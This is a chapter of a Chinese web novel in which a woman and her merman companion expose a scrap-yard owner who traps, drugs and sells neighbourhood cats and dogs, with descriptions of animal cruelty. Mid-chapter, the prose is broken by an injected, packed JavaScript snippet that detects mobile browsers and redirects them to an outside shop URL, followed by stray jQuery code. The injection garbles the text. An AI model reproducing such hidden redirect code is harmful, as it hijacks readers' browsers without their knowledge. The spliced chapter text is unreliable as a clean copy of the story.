35. 老梁

作品:《嫁给鱼缸里的鱼

    故渊的背很宽,肩胛骨的形状像收拢的翅膀,脊柱沟从后颈一直延伸到腰际,两侧的肌肉线条匀称结实。


    游泳真的是一项很不错的运动,林瑗想。她的指尖划过它的背,故渊微微扭动一下,呼吸一促,但没有躲开。


    “痒。”它喃喃说。


    “啊?”林瑗涂药的手更小心了,“是不是这药膏效果不好,要不找医生换个药试试?”


    “不用。”故渊气哼哼说,“你下手重一点,不要摸我。”


    “……”林瑗愣在那里措手不及,“谁摸你了?!”


    既然你的癖好这么重口,那就满足你!林瑗手下使劲,一抹一大片,只当是给墙皮刮腻子。


    似乎觉得自己被铲屎官们忽视了的橙子,霸道地跳上沙发床,踩着小猫步转了一圈,然后见缝插猫地挤在他俩中间躺下。


    “交给你了。”林瑗果断起身撤离,“晚安。”


    自从橙子也开始会和故渊一块睡觉之后,她的睡眠质量有了显著的提升。毕竟,咪咪卡车重量不轻,有时半夜会压醒她,但压不醒体格健硕的大人鱼。


    托有猫同担的福,林瑗近来上班打卡的记录持续向好,再也不用在迟到的边缘疯狂卡点。


    “这么早就开工啊?”


    田恬刚到工位就发现隔壁林瑗电脑都已经开机了,正对着屏幕聚精会神地写便签,心中暗叹人卷人卷死人的同时……发现对方看的是“《酒店大厨教你如何爆炒卷心菜》”。


    “你怎么会有兴趣研究这个?”一看同事也在摸鱼,田恬兴致大发,“你不是一向懒得做饭的吗?”


    “外卖吃腻了。”林瑗倒也不遮掩,毕竟她说的本来就是原因之一,“又贵又不健康,油大。”


    “你要减肥啊?”田恬问,毕竟哪有几个牛马真有余裕关心健康,“那吃沙拉最简单了。”


    “我不减肥,”林瑗随口答道,“而且我们都不喜欢吃沙拉……”故渊皮炎还没好,大热天再起锅做饭的话一流汗更难痊愈,所以说好了晚饭她来做。


    鉴于她会的实在不多,所以打算精进一下技术,丰富家庭菜单。


    “你们?”田恬一秒提取关键信息,“难怪,我说呢,你这饭是做给周论吃的吧?”


    林瑗反射性否认,“不是。”


    “你知不知道你刚才看个炒包菜有多认真,跟我爸炒股看K线图似的。”田恬摇头,明显不信,“这不是要给爱的人做饭,就是准备给恨的人投毒。”


    “……”有没有一种可能,严格来讲,对方都不算人呢。


    不经意露出笑容的瞬间林瑗忽然整个人怔住,为什么她第一时间纠正的是“人”,而不是“爱”?


    她好像要越界了。


    这个词对林瑗来说太过陌生,应该是不对的。或许,她只是太有责任心而已。


    毕竟故渊算是她的宠物……吗?


    *


    林瑗自己的宠物问题还没捋明白,倒是在小区住户群里看到了附近邻居的寻猫启事。


    一只三岁的海双布偶猫不慎走失,主人正焦急寻找,希望看到的邻居能帮忙留意,提供线索。


    同是养宠人,林瑗下班回家进小区的路上就特地四处瞄了一眼,可惜并没有看到。


    隔天周六,林瑗上午多睡了一会,起床在阳台上收衣服时,余光瞥见楼下小区绿化带附近,有一团棕白色的东西在动。


    她眯起眼睛仔细看,越看越像是寻猫启事中的布偶猫,忙快步回客厅拿了两根猫条,抓起手机准备下楼确认。故渊原本在做厨房早餐,问了情况便要跟她一起下去。


    “如果它跑,我们可以分头抓。”故渊提议。


    “也是,”林瑗果断同意,“那你把箱子也带着。”


    两人提了航空箱下楼,却不见小猫的踪影。绿化带很密,灌木丛中枝条交错,可能这一会儿功夫猫就已经钻进去了,再想找到并不容易。


    故渊弯腰拨开树枝往里瞧,除了有一些疑似猫粮的颗粒掉落在落叶上,什么也没有。


    林瑗越看越觉得奇怪,从断裂的细小枝杈和落叶上的压痕来看,这里似乎放过什么东西。


    “我们再去别处找找。”林瑗说。


    两人在附近找了一圈,猫没看到,但林瑗发现小区燃气主管道后面的空隙底下,十分隐蔽地藏着两个诱捕笼。铁丝笼门是开着的,底板上撒着一撮猫粮颗粒。


    她私信群里布偶猫的主人,询问是对方放的吗?得到的却是否定的答复。


    而故渊手搭在铁笼子上摸了半天,越摸神色越凝重,仿佛陷入了某种回忆。它突然非常粗暴地破坏了铁笼门,把那些颗粒抖落一地,然后狠狠踩踏进泥土里。


    “怎么了?”林瑗吃惊地问,她从来没有见过它这样发脾气。


    “隔两条街有一个废品收购站。”故渊拧着眉毛说。


    “废品收购站?”林瑗不解,“然后呢?”


    故渊指着那两个破笼子说,“我要去卖废品。”


    “……现在?”林瑗一脑门子问号,“等等,你把话说清楚。”


    *


    两条街外再拐个弯,是一片二环内为数不多的城中村,大多是自建的平房,有的还带院子,虽然这一带比较破旧,不过还是有不少人居住,该有的市场、铺面也不少。


    废品收购站在巷子转角,门头上用红漆写着“老梁废品回收”,铁皮门半敞,里面堆着大量的纸板、塑料瓶、和泡沫箱子。称重秤旁趴着一条黄色的土狗,瘦得皮包骨头,耳朵耷拉着,看见人来连眼皮也不抬。


    故渊站在门口,象征性地敲了敲铁皮门。一个中年男人从店里的躺椅上站起来,五十来岁,光头,看起来应该就是“老梁”——


    在周论的记忆里,大部分都是它很排斥的东西。它当然会捕猎,在鱼缸里饿极了它会吃虾,但绝对不会一根根啄掉它们的腿,拔下它们的胡须,甚至是挖眼、剥皮,然后在撕心裂肺的尖叫哀嚎声中享受飘飘欲仙的快感。


    太令鱼恶心了,变态的陆地哺乳动物。


    故渊一回想起来就要痛骂两句,天知道让它从这个玩意的记忆里读取内容有多痛苦,屎里淘金淘的还是金呢,它都淘的什么玩意,垃圾。


    光头老梁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417844|198863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是垃圾之一,他想起这个人站在铁笼边数钱的样子,因为谨慎的周论坚持给现金,所以老梁还嘲笑过他胆小。


    那些画面快得像刀片划过,老梁曾说,“现在逮猫比以前方便多了,笼子一放,等着来货。”


    “偶尔也会进小狗,你敢不敢玩?当然,我们弄到的大狗可不是笼子抓的,那都有别的路子,嘿嘿。”


    “哟,稀客啊!”老梁看见熟人,脸上堆起笑,“怎么这回隔了这么久才来拿货?”


    脑海里的影像和面前的重叠,故渊没接话,从鼻子里哼了一声,算是应答。


    人模狗样的东西,老梁心里骂了一遍他祖宗十八代,嘴上倒还和气,“也是赶巧,刚到了你最喜欢的精品货,长毛的,好品种。”


    “怎么样?”老梁大拇指一歪指向内门,“带你看看?”


    “好。”故渊跟上去。


    内门后面是加盖的院子,门一开,一股臭味扑面而来——虽然外面的气味也不算好闻,但里面还是更胜一筹。


    两个黄毛帮工在里面玩手机,见来人了自觉出去外面看着。


    地上堆着十几个笼子,大大小小叠了两三层,猫狗兼有。有的蜷缩不动,有的在发抖,有的发出微弱的呜咽声。


    它们大部分都精神萎靡,眼睛半闭,嘴角流着涎水,像是被下了药。


    最外面的笼子里,一只毛发还算蓬松干净的布偶猫侧躺着,双眼紧闭,鼻头干裂,一动不动。很显然,它就是老梁所说的新货。


    “死了?”故渊握紧双拳,事前林瑗千叮咛万嘱咐,让它一定不可以轻举妄动。


    她从ATM机上取出一千现金交给它,慎重交待:“你进去唯一的目的是取证,录到证据我们就报警,你不要做任何出格的事,尽量少说话。”


    她帮它设置了手机静音,并且调整好摄像头在上衣口袋里的位置。


    “我会一直看着并且录屏。有不对你就跑,我会立刻向警方求助,你千万要小心。”


    “故渊,”林瑗拉住它的手腕,手指攥得很紧,“小心。你最重要。”


    这四个字让现在的故渊勉强能保持平静,老梁奇怪地打量它,“药晕了而已。”


    “吃了我的饵食,哪有不睡觉的?带回去死了包给你换。”


    “多少钱?”


    “五百。”


    两边一手交钱一手交货,故渊从口袋里掏出五张红钞票递过去,老梁接过来,随便找了一个废纸箱套在铁笼外,用胶带封好,熟练地留了个提手。


    “不放心就路上戳两个洞。”


    故渊默默抱起纸箱时,他脚边铁笼里趴着的大黑狗突然叫了一声。它后腿不知被什么穿了一个洞,红肿的伤口外翻,流出红黄交杂的脓液,呜咽着用湿漉漉的眼睛地看向面前的人类。


    院外的大狗或许是回应同伴,也跟着叫了起来。外间传来黄毛帮工的呵斥:“狗东西,闭嘴!”


    故渊明白这些人为什么要在门头养狗了,这样附近的居民就不会对这里的叫声起疑。它走了两步,转身回头冷冷地问:


    “这些狗怎么处理?”